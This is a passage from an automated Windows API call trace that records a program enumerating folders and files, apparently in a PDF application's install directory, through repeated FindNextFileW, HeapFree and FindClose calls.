lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.789] FindClose (in: hFindFile=0x4121508 | out: hFindFile=0x4121508) returned 1 [0187.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.790] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0187.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0187.790] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0187.790] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0187.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.790] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0187.792] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.792] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0187.792] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.793] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0187.793] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0187.793] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.793] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0187.793] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.793] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0187.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x4121008, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0187.795] FindClose (in: hFindFile=0x4121008 | out: hFindFile=0x4121008) returned 1 [0187.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0187.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0187.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.796] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0187.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.941] FindNextFileW (in: hFindFile=0x4121088, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0188.182] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.182] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30ddcac | out: lpFindFileData=0x30ddcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0188.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4f00060 | out: hHeap=0x420000) returned 1 [0188.183] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30ddcac | out: lpFindFileData=0x30ddcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0188.183] FindClose (in: hFindFile=0x4121108 | out: hFindFile=0x4121108) returned 1 [0188.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.183] FindNextFileW (in: hFindFile=0x4121088, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0188.183] FindClose (in: hFindFile=0x4121088 | out: hFindFile=0x4121088) returned 1 [0188.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0188.183] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0188.183] FindClose (in: hFindFile=0x41211c8 | out: hFindFile=0x41211c8) returned 1 [0188.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0188.185] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0188.186] FindClose (in: hFindFile=0x41213c8 | out: hFindFile=0x41213c8) returned 1 [0188.186] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0188.186] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0188.189] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0188.189] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0188.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0188.197] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0188.197] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0188.197] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0188.197] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0188.197] FindClose (in: hFindFile=0x4121788 | out: hFindFile=0x4121788) returned 1 [0188.197] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0188.197] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, 